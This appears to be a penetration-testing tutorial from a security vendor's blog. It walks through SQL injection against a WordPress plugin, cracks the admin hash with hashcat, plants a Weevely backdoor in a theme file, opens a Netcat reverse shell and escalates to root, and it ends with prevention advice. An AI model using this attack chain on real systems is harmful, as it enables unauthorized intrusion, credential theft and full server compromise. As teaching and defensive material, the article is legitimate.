In this series, we will be showing step-by-step examples of common attacks. We will start off with a basic SQL Injection attack directed at a web application and leading to privilege escalation to OS root.

SQL Injection is one of the most dangerous vulnerabilities a web application can be prone to. If a user’s input is being passed unvalidated and unsanitized as part of an SQL query, the user can manipulate the query itself and force it to return different data than what it was supposed to return. In this article, we see how and why SQLi attacks have such a big impact on application security.

Example of Vulnerable Code

Before having a practical look at this injection technique, let’s first quickly see what is SQL Injection. Let’s suppose that we have a web application that takes the parameter article via a $_GET request and queries the SQL database to get article content.


The underlying PHP source code is the following:

// The article parameter is assigned to $article variable without any sanitization or validation
$articleid = $_GET[‘article’];
// The $articleid parameter is passed as part of the query
$query = "SELECT * FROM articles WHERE articleid = $articleid";

A typical page in this web application would look as follows:

EXploiting SQL Injection

If a user sets the value of the article parameter to 1 AND 1=1, the query becomes:

$query = "SELECT * FROM articles WHERE articleid = 1 AND 1=1";

In this case, the content of the page does not change because the two conditions in the SQL statement are both true. There is an article with an id of 1, and 1 equals to 1 which is true.

SQL Injection exploitation

If a user changes the parameter to 1 AND 1=2, it returns nothing because 1 is not equal to 2.

Exploiting SQL injection

That means that the user is controlling the query string and can adjust it accordingly to with SQL code to manipulate the results.

The Attack

Let’s see step-by-step how dangerous the exploitation of an SQL Injection can be. Just for reference, the following scenario is executed on a Linux machine running Ubuntu 16.04.1 LTS, PHP 7.0, MySQL 5.7, and WordPress 4.9.

For the purposes of this demonstration, we have performed a security audit on a sample web application. During our penetration test, we have identified a plugin endpoint that accepts the user ID via a $_GET request and displays their user name.


The endpoint is directly accessible, which could indicate weak security. The first thing someone would do is to manipulate the entry point (user input: $_GET parameter) and observe the response. What we are looking for is to see if our input causes the output of the application to change in any way. Ideally, we want to see an SQL error which could indicate that our input is parsed as part of a query.

There are many ways to identify whether an application is vulnerable to SQL injection. One of the most common and simple ones is the use of a single quote which under certain circumstances breaks the database query:


The MySQL error that we get confirms that the application is indeed vulnerable:

SQL Injection exploit

At this point, it is almost certain that soon we will be able to exfiltrate data from the backend database of the web application. If our input is being parsed as part of the query, we can control it using SQL commands. If we can control the query, we can control the results.

We have identified the SQL injection vulnerability, now let’s proceed with the attack. We want to get access to the administration area of the website. Let’s assume that we don’t know the structure of the database or that the administrator used non-default naming/prefixes when installing WordPress. We need to find table names to be able to grab the administrator’s password later.

First, we need to find out how many columns the current table has. We will use column ordering to achieve that. ORDER BY is used to set the order of the results. You can order either by column name or by the number of the column. In this case, we need to use the number of the column. If the number that we pass in the parameter is less than the total number of columns in the current table, the output of the application should not change because the SQL query is valid. However, if the number is larger than the total number of columns, we will get an error because there is no such column. In our case, we have identified 10 columns:


Hello admin

If we use a higher number, we don’t get any results:


Depending on the setup, we might get an error:

Now that we know how many columns the current table has, we will use UNION to see which column is vulnerable. UNION SELECT is used to combine results from multiple SELECT statements into a single result. The vulnerable column is the one whose data is being displayed on the page.


As we can see, the number “10” is being displayed on the page which means this is the vulnerable column:

We can confirm this by replacing it with version() which will show the MySQL version:


Next, we need to find the table names which we will then use to exfiltrate data:


The group_concat() function concatenates results into a string. The Information_schema is a database that stores information about other databases. The database() function returns the name of the current database.

SQL injection exploit

Now that we have the table structure, we can query the database to get the admin’s credentials from the table wp_users.


Hello $

The query returns the admin’s password hash. To find the password for this hash, we will use a well-known password recovery software named hashcat. This software offers various methods of cracking a password. We will try a dictionary attack with a relatively small list containing 96 million passwords.

After downloading hashcat as well as the password list, we run the following command:

hashcat64 -m 400 -a 0 hash.txt wordlist.txt
-m = the type of the hash we want to crack. 400 is the hash type for WordPress (MD5)
-a = the attack mode. 0 is the Dictionary (or Straight) Attack
hash.txt = a file containing the hash we want to crack
wordlist.txt = a file containing a list of passwords in plaintext

We’ve been lucky and were able to recover the password within a few minutes. The recovered password is 10987654321:SQLi exploit
Unless two-factor authentication is in place, the admin’s password should be sufficient to access the website’s backend. Once we do that, the options are limitless.

It is important to note that at the current stage we have full admin access to the website’s backend user database which means we can impersonate any user login, access any page/post including those with sensitive data, export all the data including users, insert into tables, drop tables, and pretty much do anything we want. Let’s see how far we can get.


There are third-party WordPress plugins that could allow us to execute shell commands or upload new files. However, we will avoid those. Instead, to further escalate this attack we will use Weavely, a popular lightweight PHP backdoor.

After downloading and unpacking the software, we will first create an agent that will be injected into the WordPress site, which will give us the ability to execute system commands under the low-privileged web server account (www-data).

The following command will create a file which must be uploaded on the target system.

secuser@secureserver:~/weevely3-master# ./ generate abcd123 agent.php
--> Generated backdoor with password 'abcd123' in 'agent.php' of 1332 byte size.

Instead of uploading the file, we will use existing WordPress template files to inject the contents of agent.php. We navigate to the appearance editor (which is by default enabled) and inject the code of agent.php into the header.php file :

Now the backdoor agent is in place. We need to initiate a connection to it from our local computer. We injected the agent into the theme header, so we can specify any WordPress page as a target because the header is included in all template files.

root@secureserver:~/weevely3-master# ./ http://acunetix.php.example/wordpress/ abcd123

As we can see below, we have successfully initiated a connection to our backdoor agent. Running the id command returns the current user which is www-data. We also see that the hostname is windoze and the current working directory is /var/www/html/wordpress:

On the victim’s end, this is what the requests sent to the backdoor look like in the log:

On our local machine we also start a Netcat listener so that we can create a reverse shell connection from the target to our computer:

root@secureserver:~/weevely3-master# nc -l -v -p 8181
listening on [any] 8181 ...

SQL injection exploitation

We now send the following command to our backdoor agent to initiate a reverse shell connection:

www-data@targetmachine:/var/www/html/wordpress $ backdoor_reversetcp 8181
w/html/wordpress $

The Netcat listener shows that a connection has been established:

We now have a low privileged shell on the target machine. What we want is to escalate our privileges and get root access. The uname -a command returns enough information for us to proceed with the attack. We are interested in the kernel version.

We have found a privilege escalation exploit which works on this kernel version ( We download and compile it on our local machine.

privilege escalation exploit

Now we use the reverse shell connection to download the exploit to the target machine.

We grant the execute permission on the exploit by running chmod +x chocobo_root and then we run it :

After a few moments, the privilege escalation is successful, and we can see that we are running as root:

At this point, we have full root access to the target machine which means that the security triangle of confidentiality, integrity, and availability has been completely compromised. This can be disastrous for an organization because an attacker can:

  • Read/edit/delete confidential/private files on the server which may include
    • Emails
    • Files containing passwords
    • SSL Certificates
    • Databases with data of third parties which may contain sensitive information such as credit card numbers, addresses, names, telephones
    • Financial information such as invoices, payroll, and agreements
    • Private images or videos
  • Use the machine to attack/access other computers/servers internally (pivoting)
  • Use the machine to deliver malware to users
  • Create new users, monitor traffic, etc.

It is important to note that the machine was running on a default setup without any changes, which made the attack easier. The following factors were critical to the successful exploitation of this vulnerability:

  • The web application was vulnerable to SQL Injection, one of the most dangerous vulnerabilities for an application. A vulnerability scanning tool would have detected it and given information on how to fix it.
  • There was no WAF (Web Application Firewall) in place to detect the SQL Injection exploitation. A WAF could block the attack even if the application is vulnerable.
  • There was no Intrusion Detection or Intrusion Prevention system in place. Many such systems keep a database with hashes of all the monitored files. If a file is modified, its hash changes and the system notifies the administrator about potentially malicious activity. This means that changes done to header.php (Weavely backdoor injected) could have been detected.
  • The OS was not up to date, which allowed the privilege escalation to be successfully exploited.

Getting an online free SQL Injection test with Acunetix, allows you to easily identify critical vulnerabilities in your code which can put your Web Application and/or server at risk.

Frequently asked questions

An SQL Injection may lead to loss of confidential data including client data, which may affect compliance and lead to huge fines. An SQL Injection may also lead to complete system compromise (as described in this article).

Read how an SQL Injection lead to the compromise of tax data of an entire country.

If you suspect that you were a victim of an SQL Injection, first, check your applications using a web vulnerability scanner like Acunetix to confirm that there is a vulnerability. If you confirm that there is a vulnerability and you suspect that an attacker used it, you need to perform a manual analysis of your system.

Learn how conduct an investigation in the case of a suspected SQL Injection attack.

To prevent SQL Injections, the application must never directly include user input in queries. Instead, all developers must use parameterized queries (prepared statements) and/or stored procedures.

Find out how to prevent SQL Injections in PHP.

The Acunetix site has tons of information about all flavors of SQL Injection. This is because Acunetix has always focused strongly on helping you prevent this critical vulnerability. Simply search our site to find more.

You can start by reading a general article about SQL Injections.

Agathoklis Prodromou
Web Systems Administrator/Developer
Akis has worked in the IT sphere for more than 13 years, developing his skills from a defensive perspective as a System Administrator and Web Developer but also from an offensive perspective as a penetration tester. He holds various professional certifications related to ethical hacking, digital forensics and incident response.